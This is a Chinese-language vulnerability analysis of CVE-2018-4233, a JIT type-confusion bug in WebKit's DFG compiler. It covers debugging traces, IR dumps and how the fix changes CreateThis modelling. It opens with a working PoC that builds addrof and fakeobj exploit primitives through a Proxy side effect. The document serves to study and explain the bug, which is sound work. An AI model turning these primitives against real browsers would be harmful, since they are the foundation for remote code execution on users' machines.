一、简介

CVE-2018-4233是Pwn2Own 2018上Samuel Groß团队用来攻破Safari浏览器的漏洞。这是一个JIT编译器中side effect导致IR建模失败而产生的一个类型混淆漏洞,通过这样的类型混淆漏洞可以得到addrof、fakeobj两个原语,从而直接获得沙箱内远程代码执行的效果。

CVE-2018-4233是JIT中的类型混淆漏洞中的一个经典,非常有代表性。

二、漏洞概要

该漏洞的fix位于https://github.com/WebKit/webkit/commit/b602e9d167b2c53ed96a42ed3ee611d237f5461a,本文基于其parent commit

7996e60。该版本更新时间是2018年3月末,PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
let someObject = {};
let addrOfObject = primitiveAddrOf(someObject);
print(addrOfObject);
//let craftedAddress = 3.54484805889626e-310;
let craftedAddress = addrOfObject;
let fakeObj = primitiveFakeObj(craftedAddress);
print(fakeObj);
function primitiveAddrOf(someObject) {
function visit(arr) {
res = arr[0];
}
let res = 1.1;
let trigger = false;
let arr = [1.1, 2.2, 3.3];
let handler = {
get(target, propname) {
if (trigger)
arr[0] = someObject;
return target[propname];
},
};
let visitProxy = new Proxy(visit, handler);
for (let i = 0; i < 0x1000; i++)
new visitProxy(arr, 13.37);

trigger = true;
new visitProxy(arr, 13.37);
return res;
}
function primitiveFakeObj(craftedAddress) {
function assign(arr, value) {
arr[0] = value;
}
let trigger = false;
let arr = [1.1, 2.2, 3.3];
let handler = {
get(target, propname) {
if (trigger)
arr[0] = {};
return target[propname];
},
};
let assignProxy = new Proxy(assign, handler);
for (let i = 0; i < 0x1000; i++)
new assignProxy(arr, 13.37);
trigger = true;
new assignProxy(arr, craftedAddress);
return arr[0];
}

三、基本概念

JIT:即时编译,边运行边产生机器代码,常见于浏览器等脚本执行环境,使用机器码替换高级语言的代码来运行,代替解释器以优化运行速度。

DFG:dfg在编译原理中用来代表数据流图,在WebKit中是第一层优化编译器:

  • LLInt -> baseline JIT -> DFG JIT -> FTL JIT,函数、循环经过多次执行,从解释器到各优化编译器会进行tier up,是从左到右的过程。在这一过程中,JIT编译器会根据之前运行获得(profile)的类型信息对函数体中参数、变量的类型进行假定,生成代码执行(speculative execute)。
  • JIT编译器在执行遇到问题的时候会进行tier down,是从右到左的过程,在WebKit中被称为OSRExit,其实现包括Jump replacement等机制。

side-effect:也被译为“副作用”,更新变量和数据结构的赋值语句。

IR建模:JIT优化编译器需要对中间表示(IR)的字节码进行建模,精确描述side effect等。在WebKit中有两处代码用于建模:DFGAbstractInterpreterDFGClobberize,前者被简称为AI。

JSValue:JSValue是WebKit JavaScriptCore中用来表示和存储JS执行上下文中对象、整数、浮点数的而定义的一个类。其中重点关注:

  • ArrayWithDouble,JS中的双精度浮点数数组,如果一个Array中只包含浮点数,它就是一个ArrayWithDouble类型的数组,其中的双精度浮点数按照IEEE754的原始浮点数存储。例如3.54484805889626e-310在内存中存储为0x0000414141414141。
  • ArrayWithContiguous,JS中的普通数组,如果一个Array中包含浮点数、对象等,它就是一个ArrayWithContiguous类型的数组,其中元素按照JSValue方式存储,其中对象指针用48位表示,前16位为0,而浮点数加上了0x0001000000000000。例如3.54484805889626e-310在内存中存储为0x0001414141414141。

ArrayWithDouble、ArrayWithContiguous中浮点数和指针的互相赋值是构造类型混淆漏洞的方法。

在JIT类型混淆漏洞中,IR建模错误往往是漏洞产生的根本原因。一般过程是:

  • 通过IR建模错误,
  • 利用side effect产生回调改变变量类型,
  • 借助类型特化过的JIT代码,
  • 赋值ArrayWithContiguous中的元素到ArrayWithDouble中,
  • 得到类型混淆。

四、漏洞分析

本部分以fakeobj这个原语为例解析这个漏洞,addof原语的构造与其极其相似,不需要调试稍作修改即可。

image-20190102134532994

设置调试目标为jsc,参数添加:

1
2
3
4
--useConcurrentJIT=false
--dumpDisassembly=true
--dumpDFGDisassembly=true
--useFTLJIT=false

开始运行,从输出中可见,assign、get产生了DFG JIT代码:

1
2
3
4
5
6
7
Generated DFG JIT code for assign#EmOb1Y:[0x11cd78720->0x11cd78260->0x11cd98f20, DFGFunctionConstruct, 24], instruction count = 24:
Optimized with execution counter = 150.000000/1133.000000, -850
Code at [0x372925000780, 0x372925000dc0
...
Generated DFG JIT code for get#CsfvpT:[0x11cd78980->0x11cd784c0->0x11cd98fd0, DFGFunctionCall, 60], instruction count = 60:
Optimized with execution counter = 420.000000/1306.000000, -580
Code at [0x3729250002c0, 0x372925000780):

4.1 第一次OSRExit

随后产生了Firing watchpoint,并丢弃get的dfg代码:

1
2
Firing watchpoint 0x11c86f398 on get#CsfvpT:[0x11cd78980->0x11cd784c0->0x11cd98fd0, DFGFunctionCall, 60]
Jettisoning get#CsfvpT:[0x11cd78980->0x11cd784c0->0x11cd98fd0, DFGFunctionCall, 60] and counting reoptimization due to UnprofiledWatchpoint, Executed op_put_scope<LocalClosureVar>.

栈回溯可见,它的产生是由于JIT::operationPutToScope,显然这个栈回溯来自代理中get handler中的赋值arr[0] = {};

image-20190102135609869

之后是相应的JumpReplacement:

1
2
3
4
5
6
Firing jump replacement watchpoint from 0x3729250003ee, to 0x37252900067f.
Did invalidate get#CsfvpT:[0x11cd78980->0x11cd784c0->0x11cd98fd0, DFGFunctionCall, 60]
Did count reoptimization for get#CsfvpT:[0x11cd78980->0x11cd784c0->0x11cd98fd0, DFGFunctionCall, 60]
Did install baseline version of get#CsfvpT:[0x11cd78980->0x11cd784c0->0x11cd98fd0, DFGFunctionCall, 60]
Generated JIT code for Baseline put_by_val stub for get#CsfvpT:[0x11cd784c0->0x11cd98fd0, BaselineFunctionCall, 60 (FTLFail)], return point 0x3728e500268c:
Code at [0x372925000240, 0x3729250002c0):

image-20190102140009081

Jump replacement位于DFG JIT code for get,大概位置是:

1
2
3
4
5
6
7
8
9
10
11
12
13
SetArgument
SetArgument
CheckStructure
SetArgument
MovHint
JSConstant
...
InvalidationPoint
[GetLocal] -> jump from here
CheckStringIdent
GetButterfly
GetByOffset
...

4.2 第二次OSRExit

1
2
Firing watchpoint 0x11c86f438 on get#CsfvpT:[0x11cd78980->0x11cd784c0->0x11cd98fd0, DFGFunctionCall, 60]
Jettisoning get#CsfvpT:[0x11cd78980->0x11cd784c0->0x11cd98fd0, DFGFunctionCall, 60] and counting reoptimization due to UnprofiledWatchpoint, Structure transition from 0x11cdf2760:[Array, {}, ArrayWithDouble, Proto:0x11cdb4090, Shady leaf].

此次的栈回溯为:

image-20190102140537841

其中的重点是:

JSC::JSObject::convertDooubleToContiguousWhilePerformingSetIndex
JIT::operationPutByVal
0x3728e500268c baseline JIT code for get# [put_by_val]
JSC::ProxyObject::getOwnPropertySlot
JSC::JSObject::get 回调发生处
dfg::operationCreateThis(0x100d53cd0)
0x372925000c05 DFG JIT code for assign#
JIT::operationLinkCall
0x3728e50038d3 Baseline JIT code for primitiveFakeObj# [construct]

随后有:

1
2
3
4
5
6
7
Firing watchpoint 0x11c86f208 on assign#EmOb1Y:[0x11cd78720->0x11cd78260->0x11cd98f20, DFGFunctionConstruct, 24]
Jettisoning assign#EmOb1Y:[0x11cd78720->0x11cd78260->0x11cd98f20, DFGFunctionConstruct, 24] and counting reoptimization due to UnprofiledWatchpoint, Structure transition from 0x11cdf2760:[Array, {}, ArrayWithDouble, Proto:0x11cdb4090, Shady leaf].

Firing jump replacement watchpoint from 0x3729250008dc, to 0x372925000d45.
Did invalidate assign#EmOb1Y:[0x11cd78720->0x11cd78260->0x11cd98f20, DFGFunctionConstruct, 24]
Did count reoptimization for assign#EmOb1Y:[0x11cd78720->0x11cd78260->0x11cd98f20, DFGFunctionConstruct, 24]
Did install baseline version of assign#EmOb1Y:[0x11cd78720->0x11cd78260->0x11cd98f20, DFGFunctionConstruct, 24]

DFG jump 位于DFG JIT for assign:

1
2
3
4
5
6
...
CheckTraps
InvalidationPoint
[GetLocal] -> jump from here
CreateThis
...

从打印数据里看CreateThis的执行调用operationCreateThis,然后从JSC::JSObject::get中回调触发assign赋值(ConvertDoubleToContiguous),然后触发Jump replacement,但显然Jump replacement的跳出点位于CreateThis之前,而CreateThis之后不再有跳出点。意即:虽然作出了OSRExit的动作,但并没有成功OSRExit,这里就是bug的直观表现了。

五、补丁分析

针对这个漏洞,补丁围绕对CreateThis字节码进行建模修改了两处内容clobberize、AbstractInterpreter。下面分别考察这两部分的作用。在这个过程中,可以多次修改代码、编译运行程序、dump内存、放入反汇编器,便于阅读JIT代码提高效率。

用于dump内存的lldb命令为:

1
me read -o /Users/dwfault/Downloads/dump.bin -b 0x31fe33000500 0x31fe33001000 --force

5.1 考察clobberize

image-20190102143448324

image-20190102143946262

右图的字节码对应write(Heap)补丁之后的代码。可以看到IR中的CreateThis后面增加了一个InvalidationPoint,其他都没有改变。但由于此处相应会产生一个Jump replacement(参考DFGInvalidationPointInjectionPhase),导致CreateThis回调结束之后会被Jump replacement引到OSRExit,使漏洞不再触发。

5.2 考察AbstractInterperter

按照同样的方法,现在为CreateThis只加上clobberWorld。

image-20190102144836735

image-20190102144930667

可以看到在GetButterfly之前增加了一个CheckStrucure,其x86机器码是:

1
cmp dword [rax], 0x5b

细致调试可以知道,arr变量的structureID之前是0x5b,现在成了0x5c,这也使得执行流程走向了OSRExit,使漏洞不再发生。

5.3 深究clobberize与AbstractInterpreter

可以看到在5.1、5.2两节中,clobberize、AbstractInterpretrer两处对IR建模的描述直接导致了JIT编译器产生了不同的代码。其中5.1节clobber与InvalidationPoint的关系非常明确,在DFGInvalidationPointInjectPhase中可以很明确地知道:

(1) DFGClobberize把Abstract Heap以树型结构分为几类:

  • World
    • Stack
    • Heap
      • Other(Top)
        • Other(none Top)
        • Watchpoint_fire
          • SideState

(2) writesOverlap函数检查目标opcode结点的write属性与WatchPoint_fire在树型结构中的父子关系,如果WatchPoint_fire在目标opcode结点的子树上,则插入InvalidationPoint。

而对于AbstractInterpreter,clobberWorld的作用不明显,需要加以更多调试。 回到漏洞版本,增加运行选项运行:

1
--dumpDFGGraphAtEachPhase=true

得到的输出节选如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
Beginning DFG phase structure check hoisting.
Before structure check hoisting:

DFG for assign#Ei5h05:[0x11cd78720->0x11cd78260->0x11cd98f20, DFGFunctionConstruct, 24]:
Fixpoint state: BeforeFixpoint; Form: ThreadedCPS; Unification state: GloballyUnified; Ref count state: EverythingIsLive
Arguments for block#0: @0, @1, @2
Block #0 (bc#0): (OSR target)
Execution count: 1.000000
Predecessors:
Successors:
Dominated by: #root #0
Dominates: #0
Dominance Frontier:
Iterated Dominance Frontier:
States: StructuresAreWatched, CurrentlyCFAUnreachable
Vars Before: <empty>
Intersected Vars Before: arg2:(DoubleImpureNan|Top|Empty, TOP, TOP) arg1:(DoubleImpureNan|Top|Empty, TOP, TOP) arg0:(DoubleImpureNan|Top|Empty, TOP, TOP) loc0:(DoubleImpureNan|Top|Empty, TOP, TOP) loc1:(DoubleImpureNan|Top|Empty, TOP, TOP) loc2:(DoubleImpureNan|Top|Empty, TOP, TOP) loc3:(DoubleImpureNan|Top|Empty, TOP, TOP) loc4:(DoubleImpureNan|Top|Empty, TOP, TOP) loc5:(DoubleImpureNan|Top|Empty, TOP, TOP) loc6:(DoubleImpureNan|Top|Empty, TOP, TOP) loc7:(DoubleImpureNan|Top|Empty, TOP, TOP)
Var Links: arg2:@2 arg1:@1 arg0:@0
0:< 1:-> SetArgument(this(a), W:SideState, bc#0, ExitValid) predicting ProxyObject
1:< 1:-> SetArgument(IsFlushed, arg1(B<Array>/FlushedCell), W:SideState, bc#0, ExitValid) predicting Array
2:< 1:-> SetArgument(IsFlushed, arg2(C~<Double>/FlushedJSValue), W:SideState, bc#0, ExitValid) predicting NonIntAsdouble
3:< 1:-> JSConstant(JS|PureInt, Other, Undefined, bc#0, ExitValid)
4:<!0:-> MovHint(Check:Untyped:@3, MustGen, loc0, W:SideState, ClobbersExit, bc#0, ExitValid)
5:< 1:-> SetLocal(Check:Untyped:@3, loc0(D~<Other>/FlushedJSValue), W:Stack(-1), bc#0, ExitInvalid) predicting Other
6:<!0:-> MovHint(Check:Untyped:@3, MustGen, loc1, W:SideState, ClobbersExit, bc#0, ExitInvalid)
7:< 1:-> SetLocal(Check:Untyped:@3, loc1(E~<Other>/FlushedJSValue), W:Stack(-2), bc#0, ExitInvalid) predicting Other
8:<!0:-> MovHint(Check:Untyped:@3, MustGen, loc2, W:SideState, ClobbersExit, bc#0, ExitInvalid)
9:< 1:-> SetLocal(Check:Untyped:@3, loc2(F~<Other>/FlushedJSValue), W:Stack(-3), bc#0, ExitInvalid) predicting Other
10:<!0:-> MovHint(Check:Untyped:@3, MustGen, loc3, W:SideState, ClobbersExit, bc#0, ExitInvalid)
11:< 1:-> SetLocal(Check:Untyped:@3, loc3(G~<Other>/FlushedJSValue), W:Stack(-4), bc#0, ExitInvalid) predicting Other
12:<!0:-> MovHint(Check:Untyped:@3, MustGen, loc4, W:SideState, ClobbersExit, bc#0, ExitInvalid)
13:< 1:-> SetLocal(Check:Untyped:@3, loc4(H~<Other>/FlushedJSValue), W:Stack(-5), bc#0, ExitInvalid) predicting Other
14:<!0:-> MovHint(Check:Untyped:@3, MustGen, loc5, W:SideState, ClobbersExit, bc#0, ExitInvalid)
15:< 1:-> SetLocal(Check:Untyped:@3, loc5(I~<Other>/FlushedJSValue), W:Stack(-6), bc#0, ExitInvalid) predicting Other
16:< 1:-> JSConstant(JS|PureInt, Function, Weak:Object: 0x11cd74000 with butterfly 0x10000fe668 (Structure %En:Function), StructureID: 290, bc#1, ExitValid)
17:< 1:-> JSConstant(JS|PureInt, OtherObj, Weak:Object: 0x10000e4000 with butterfly 0x0 (Structure %Bl:JSLexicalEnvironment), StructureID: 73, bc#1, ExitValid)
18:<!0:-> MovHint(Check:Untyped:@17, MustGen, loc3, W:SideState, ClobbersExit, bc#1, ExitValid)
19:< 1:-> SetLocal(Check:Untyped:@17, loc3(J~<Object>/FlushedJSValue), W:Stack(-4), bc#1, exit: bc#3, ExitValid) predicting OtherObj
20:<!0:-> MovHint(Check:Untyped:@17, MustGen, loc4, W:SideState, ClobbersExit, bc#3, ExitValid)
21:< 1:-> SetLocal(Check:Untyped:@17, loc4(K~<Object>/FlushedJSValue), W:Stack(-5), bc#3, exit: bc#6, ExitValid) predicting OtherObj
22:<!0:-> CheckTraps(MustGen, W:Watchpoint_fire, Exits, ClobbersExit, bc#6, ExitValid)
41:<!0:-> InvalidationPoint(MustGen, W:SideState, Exits, bc#7, ExitValid)
23:<!0:-> GetLocal(Check:Untyped:@0, JS|MustGen|UseAsOther, ProxyObject, this(a), R:Stack(5), bc#7, ExitValid) predicting ProxyObject
24:<!0:-> MovHint(Check:Untyped:@23, MustGen, loc5, W:SideState, ClobbersExit, bc#7, ExitValid)
25:< 1:-> SetLocal(Check:Untyped:@23, loc5(L~<Object>/FlushedJSValue), W:Stack(-6), bc#7, exit: bc#10, ExitValid) predicting ProxyObject
26:< 1:-> CreateThis(Check:Cell:@23, JS|UseAsOther, Final, R:HeapObjectCount,MiscFields, W:HeapObjectCount, Exits, ClobbersExit, bc#10, ExitValid)
27:<!0:-> MovHint(Check:Untyped:@26, MustGen, this, W:SideState, ClobbersExit, bc#10, ExitInvalid)
28:< 1:-> SetLocal(Check:Untyped:@26, IsFlushed, this(M!<Final>/FlushedJSValue), W:Stack(5), bc#10, exit: bc#15, ExitValid) predicting Final
29:<!0:-> GetLocal(Check:Untyped:@1, JS|MustGen|UseAsOther, Array, arg1(B<Array>/FlushedCell), R:Stack(6), bc#15, ExitValid) predicting Array
30:<!0:-> CheckNotEmpty(Check:Untyped:@29, MustGen, Exits, bc#15, ExitValid)
31:< 1:-> JSConstant(JS|PureNum|UseAsOther|UseAsInt|ReallyWantsInt, BoolInt32, Int32: 0, bc#17, ExitValid)
32:<!0:-> GetLocal(Check:Untyped:@2, JS|MustGen|UseAsOther, NonIntAsdouble, arg2(C~<Double>/FlushedJSValue), R:Stack(7), bc#17, ExitValid) predicting NonIntAsdouble
38:<!0:-> CheckStructure(Check:Cell:@29, MustGen, [%Dy:Array], R:JSCell_structureID, Exits, bc#17, ExitValid)
39:< 1:-> GetButterfly(Check:Cell:@29, Storage|PureInt, R:JSObject_butterfly, Exits, bc#17, ExitValid)
40:< 1:-> DoubleRep(Check:RealNumber:@32, Double|PureInt, BytecodeDouble, Exits, bc#17, ExitValid)
33:<!0:-> PutByVal(Check:KnownCell:@29, Check:Int32:@31, Check:DoubleRepReal:@40<Double>, Check:Untyped:@39, MustGen|VarArgs, Double+OriginalArray+InBounds+AsIs, R:Butterfly_publicLength,Butterfly_vectorLength,IndexedDoubleProperties, W:IndexedDoubleProperties, Exits, ClobbersExit, bc#17, ExitValid)
34:<!0:-> Return(Check:Untyped:@26, MustGen, W:SideState, Exits, bc#22, ExitValid)
35:<!0:-> Flush(Check:Untyped:@2, MustGen|IsFlushed, arg2(C~<Double>/FlushedJSValue), R:Stack(7), W:SideState, bc#22, ExitValid) predicting NonIntAsdouble
36:<!0:-> Flush(Check:Untyped:@1, MustGen|IsFlushed, arg1(B<Array>/FlushedCell), R:Stack(6), W:SideState, bc#22, ExitValid) predicting Array
37:<!0:-> Flush(Check:Untyped:@28, MustGen|IsFlushed, this(M!<Final>/FlushedJSValue), R:Stack(5), W:SideState, bc#22, ExitValid) predicting Final

States: InvalidBranchDirection, StructuresAreWatched
Vars After: <empty>
Var Links: arg2:@32 arg1:@29 arg0:@28 loc0:@5 loc1:@7 loc2:@9 loc3:@19 loc4:@21 loc5:@25
GC Values:
Weak:Object: 0x10000e4000 with butterfly 0x0 (Structure %Bl:JSLexicalEnvironment), StructureID: 73
Weak:Object: 0x11cd74000 with butterfly 0x10000fe668 (Structure %En:Function), StructureID: 290
Desired watchpoints:
Watchpoint sets:
Inline watchpoint sets: 0x11cdf1fe0, 0x11cdf0060, 0x11cdf27c0, 0x11cdf0760, 0x11cd701b0, 0x11cdf01b0
Inferred values: 0x11cdd8f00
Buffer views:
Object property conditions:
Inferred types:
Structures:
%Bl:JSLexicalEnvironment = 0x11cdf1f80:[JSLexicalEnvironment, {}, NonArray, Leaf]
%Dy:Array = 0x11cdf2760:[Array, {}, ArrayWithDouble, Proto:0x11cdb4090, Leaf]
%En:Function = 0x11cd70150:[Function, {prototype:100}, NonArray, Proto:0x11cdd0000, Leaf]

Beginning DFG phase strength reduction.
Before strength reduction:

DFG for assign#Ei5h05:[0x11cd78720->0x11cd78260->0x11cd98f20, DFGFunctionConstruct, 24]:
Fixpoint state: FixpointNotConverged; Form: ThreadedCPS; Unification state: GloballyUnified; Ref count state: EverythingIsLive
Arguments for block#0: @0, @1, @2
Block #0 (bc#0): (OSR target)
Execution count: 1.000000
Predecessors:
Successors:
Dominated by: #root #0
Dominates: #0
Dominance Frontier:
Iterated Dominance Frontier:
States: StructuresAreWatched, CurrentlyCFAUnreachable
Vars Before: <empty>
Intersected Vars Before: arg2:(DoubleImpureNan|Top|Empty, TOP, TOP) arg1:(DoubleImpureNan|Top|Empty, TOP, TOP) arg0:(DoubleImpureNan|Top|Empty, TOP, TOP) loc0:(DoubleImpureNan|Top|Empty, TOP, TOP) loc1:(DoubleImpureNan|Top|Empty, TOP, TOP) loc2:(DoubleImpureNan|Top|Empty, TOP, TOP) loc3:(DoubleImpureNan|Top|Empty, TOP, TOP) loc4:(DoubleImpureNan|Top|Empty, TOP, TOP) loc5:(DoubleImpureNan|Top|Empty, TOP, TOP) loc6:(DoubleImpureNan|Top|Empty, TOP, TOP) loc7:(DoubleImpureNan|Top|Empty, TOP, TOP)
Var Links: arg2:@2 arg1:@1 arg0:@0
0:< 1:-> SetArgument(this(a), W:SideState, bc#0, ExitValid) predicting ProxyObject
1:< 1:-> SetArgument(IsFlushed, arg1(B<Array>/FlushedCell), W:SideState, bc#0, ExitValid) predicting Array
42:<!0:-> GetLocal(Check:Untyped:@1, JS|MustGen|PureInt, Array, arg1(B<Array>/FlushedCell), R:Stack(6), bc#0, ExitValid) predicting Array
43:<!0:-> CheckStructure(Check:Cell:@42, MustGen, [%Dy:Array], R:JSCell_structureID, Exits, bc#0, ExitValid)
2:< 1:-> SetArgument(IsFlushed, arg2(C~<Double>/FlushedJSValue), W:SideState, bc#0, ExitValid) predicting NonIntAsdouble
3:< 1:-> JSConstant(JS|PureInt, Other, Undefined, bc#0, ExitValid)
4:<!0:-> MovHint(Check:Untyped:@3, MustGen, loc0, W:SideState, ClobbersExit, bc#0, ExitValid)
5:< 1:-> SetLocal(Check:Untyped:@3, loc0(D~<Other>/FlushedJSValue), W:Stack(-1), bc#0, ExitInvalid) predicting Other
6:<!0:-> MovHint(Check:Untyped:@3, MustGen, loc1, W:SideState, ClobbersExit, bc#0, ExitInvalid)
7:< 1:-> SetLocal(Check:Untyped:@3, loc1(E~<Other>/FlushedJSValue), W:Stack(-2), bc#0, ExitInvalid) predicting Other
8:<!0:-> MovHint(Check:Untyped:@3, MustGen, loc2, W:SideState, ClobbersExit, bc#0, ExitInvalid)
9:< 1:-> SetLocal(Check:Untyped:@3, loc2(F~<Other>/FlushedJSValue), W:Stack(-3), bc#0, ExitInvalid) predicting Other
10:<!0:-> MovHint(Check:Untyped:@3, MustGen, loc3, W:SideState, ClobbersExit, bc#0, ExitInvalid)
11:< 1:-> SetLocal(Check:Untyped:@3, loc3(G~<Other>/FlushedJSValue), W:Stack(-4), bc#0, ExitInvalid) predicting Other
12:<!0:-> MovHint(Check:Untyped:@3, MustGen, loc4, W:SideState, ClobbersExit, bc#0, ExitInvalid)
13:< 1:-> SetLocal(Check:Untyped:@3, loc4(H~<Other>/FlushedJSValue), W:Stack(-5), bc#0, ExitInvalid) predicting Other
14:<!0:-> MovHint(Check:Untyped:@3, MustGen, loc5, W:SideState, ClobbersExit, bc#0, ExitInvalid)
15:< 1:-> SetLocal(Check:Untyped:@3, loc5(I~<Other>/FlushedJSValue), W:Stack(-6), bc#0, ExitInvalid) predicting Other
16:< 1:-> JSConstant(JS|PureInt, Function, Weak:Object: 0x11cd74000 with butterfly 0x10000fe668 (Structure %En:Function), StructureID: 290, bc#1, ExitValid)
17:< 1:-> JSConstant(JS|PureInt, OtherObj, Weak:Object: 0x10000e4000 with butterfly 0x0 (Structure %Bl:JSLexicalEnvironment), StructureID: 73, bc#1, ExitValid)
18:<!0:-> MovHint(Check:Untyped:@17, MustGen, loc3, W:SideState, ClobbersExit, bc#1, ExitValid)
19:< 1:-> SetLocal(Check:Untyped:@17, loc3(J~<Object>/FlushedJSValue), W:Stack(-4), bc#1, exit: bc#3, ExitValid) predicting OtherObj
20:<!0:-> MovHint(Check:Untyped:@17, MustGen, loc4, W:SideState, ClobbersExit, bc#3, ExitValid)
21:< 1:-> SetLocal(Check:Untyped:@17, loc4(K~<Object>/FlushedJSValue), W:Stack(-5), bc#3, exit: bc#6, ExitValid) predicting OtherObj
22:<!0:-> CheckTraps(MustGen, W:Watchpoint_fire, Exits, ClobbersExit, bc#6, ExitValid)
41:<!0:-> InvalidationPoint(MustGen, W:SideState, Exits, bc#7, ExitValid)
23:<!0:-> GetLocal(Check:Untyped:@0, JS|MustGen|UseAsOther, ProxyObject, this(a), R:Stack(5), bc#7, ExitValid) predicting ProxyObject
24:<!0:-> MovHint(Check:Untyped:@23, MustGen, loc5, W:SideState, ClobbersExit, bc#7, ExitValid)
25:< 1:-> SetLocal(Check:Untyped:@23, loc5(L~<Object>/FlushedJSValue), W:Stack(-6), bc#7, exit: bc#10, ExitValid) predicting ProxyObject
26:< 1:-> CreateThis(Check:Cell:@23, JS|UseAsOther, Final, R:HeapObjectCount,MiscFields, W:HeapObjectCount, Exits, ClobbersExit, bc#10, ExitValid)
27:<!0:-> MovHint(Check:Untyped:@26, MustGen, this, W:SideState, ClobbersExit, bc#10, ExitInvalid)
28:< 1:-> SetLocal(Check:Untyped:@26, IsFlushed, this(M!<Final>/FlushedJSValue), W:Stack(5), bc#10, exit: bc#15, ExitValid) predicting Final
29:<!0:-> GetLocal(Check:Untyped:@1, JS|MustGen|UseAsOther, Array, arg1(B<Array>/FlushedCell), R:Stack(6), bc#15, ExitValid) predicting Array
30:<!0:-> CheckNotEmpty(Check:Untyped:@42, MustGen, Exits, bc#15, ExitValid)
31:< 1:-> JSConstant(JS|PureNum|UseAsOther|UseAsInt|ReallyWantsInt, BoolInt32, Int32: 0, bc#17, ExitValid)
32:<!0:-> GetLocal(Check:Untyped:@2, JS|MustGen|UseAsOther, NonIntAsdouble, arg2(C~<Double>/FlushedJSValue), R:Stack(7), bc#17, ExitValid) predicting NonIntAsdouble
38:<!0:-> CheckStructure(Check:Cell:@42, MustGen, [%Dy:Array], R:JSCell_structureID, Exits, bc#17, ExitValid)
39:< 1:-> GetButterfly(Check:Cell:@42, Storage|PureInt, R:JSObject_butterfly, Exits, bc#17, ExitValid)
40:< 1:-> DoubleRep(Check:RealNumber:@32, Double|PureInt, BytecodeDouble, Exits, bc#17, ExitValid)
33:<!0:-> PutByVal(Check:KnownCell:@42, Check:Int32:@31, Check:DoubleRepReal:@40<Double>, Check:Untyped:@39, MustGen|VarArgs, Double+OriginalArray+InBounds+AsIs, R:Butterfly_publicLength,Butterfly_vectorLength,IndexedDoubleProperties, W:IndexedDoubleProperties, Exits, ClobbersExit, bc#17, ExitValid)
34:<!0:-> Return(Check:Untyped:@26, MustGen, W:SideState, Exits, bc#22, ExitValid)
35:<!0:-> Flush(Check:Untyped:@2, MustGen|IsFlushed, arg2(C~<Double>/FlushedJSValue), R:Stack(7), W:SideState, bc#22, ExitValid) predicting NonIntAsdouble
36:<!0:-> Flush(Check:Untyped:@1, MustGen|IsFlushed, arg1(B<Array>/FlushedCell), R:Stack(6), W:SideState, bc#22, ExitValid) predicting Array
37:<!0:-> Flush(Check:Untyped:@28, MustGen|IsFlushed, this(M!<Final>/FlushedJSValue), R:Stack(5), W:SideState, bc#22, ExitValid) predicting Final

States: InvalidBranchDirection, StructuresAreWatched
Vars After: <empty>
Var Links: arg2:@32 arg1:@42 arg0:@28 loc0:@5 loc1:@7 loc2:@9 loc3:@19 loc4:@21 loc5:@25
GC Values:
Weak:Object: 0x10000e4000 with butterfly 0x0 (Structure %Bl:JSLexicalEnvironment), StructureID: 73
Weak:Object: 0x11cd74000 with butterfly 0x10000fe668 (Structure %En:Function), StructureID: 290
Desired watchpoints:
Watchpoint sets:
Inline watchpoint sets: 0x11cdf1fe0, 0x11cdf0060, 0x11cdf27c0, 0x11cdf0760, 0x11cd701b0, 0x11cdf01b0
Inferred values: 0x11cdd8f00
Buffer views:
Object property conditions:
Inferred types:
Structures:
%Bl:JSLexicalEnvironment = 0x11cdf1f80:[JSLexicalEnvironment, {}, NonArray, Leaf]
%Dy:Array = 0x11cdf2760:[Array, {}, ArrayWithDouble, Proto:0x11cdb4090, Leaf]
%En:Function = 0x11cd70150:[Function, {prototype:100}, NonArray, Proto:0x11cdd0000, Leaf]

CheckStructure这个IR有一个专门的提前阶段,叫DFGCheckStructureHoisting。这个过程把42 GetLocal、43 CheckStructure提前。对比clobberWorld版本这个阶段也是发生的。

随后,有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
Beginning DFG phase constant folding.
Before constant folding:

DFG for assign#Ei5h05:[0x11cd78720->0x11cd78260->0x11cd98f20, DFGFunctionConstruct, 24]:
Fixpoint state: FixpointNotConverged; Form: ThreadedCPS; Unification state: GloballyUnified; Ref count state: EverythingIsLive
Arguments for block#0: @0, @1, @2

Block #0 (bc#0): (OSR target)
Execution count: 1.000000
Predecessors:
Successors:
Dominated by: #root #0
Dominates: #0
Dominance Frontier:
Iterated Dominance Frontier:
States: StructuresAreWatched
Vars Before: arg2:(Top|Empty, TOP, TOP) arg1:(Cell|Empty, TOP, TOP) arg0:(Cell|Empty, TOP, TOP)
Intersected Vars Before: arg2:(Top|Empty, TOP, TOP) arg1:(Cell|Empty, TOP, TOP) arg0:(Cell|Empty, TOP, TOP)
Var Links: arg2:@2 arg1:@1 arg0:@0
0:< 1:-> SetArgument(this(a), W:SideState, bc#0, ExitValid) predicting ProxyObject
1:< 1:-> SetArgument(IsFlushed, arg1(B<Array>/FlushedCell), W:SideState, bc#0, ExitValid) predicting Array
42:<!0:-> GetLocal(Untyped:@1, JS|MustGen|PureInt, Array, arg1(B<Array>/FlushedCell), R:Stack(6), bc#0, ExitValid) predicting Array
43:<!0:-> CheckStructure(Cell:@42, MustGen, [%Dy:Array], R:JSCell_structureID, Exits, bc#0, ExitValid)
